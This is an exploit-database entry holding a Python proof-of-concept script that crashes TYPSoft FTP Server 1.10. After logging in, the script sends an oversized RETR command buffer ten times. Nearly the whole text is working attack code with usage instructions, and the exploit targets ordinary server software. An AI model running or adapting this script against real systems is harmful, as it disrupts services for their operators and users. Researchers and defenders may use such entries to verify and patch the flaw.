TYPSoft FTP Server RETR Command DoS

===================================
TYPSoft FTP Server RETR Command DoS
===================================


# Exploit Title: TYPSoft FTP Server RETR Command DoS
# Date: 5/13/2010
# Author: Jeremiah Talamantes
# Software Link:
# Version: 1.10
# Tested on: Windows XP, SP2 (EN)
# CVE : N/A
 
#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TYPSoft FTP Server RETR Command DoS             ##"
print "##                        Version 1.10                         ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   [email protected]                    ##"
print "################################################################# \n"
 
import socket
import sys
 
# Description:
# RETR command overflow with no PORT specified
 
# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")
 
# Buffer
buffer="AAAA" * 496
 
def exploit(hostname,username,password):
    i=0
    while i < 10:
        i=i+1
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect((hostname, 21))
        except:
            print ("Error: unable to connect to host")
            sys.exit(1)
        r=sock.recv(1024)
        print "[+] " + r + ": iteration number:  ",i
        sock.send("USER " + username + "\r\n")
        r=sock.recv(1024)
        sock.send("PASS " + password + "\r\n")
        r=sock.recv(1024)
        sock.send("RETR " + buffer + "\r\n")
        sock.close()
         
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)
 
# End



#  0day.today [2018-01-05]  #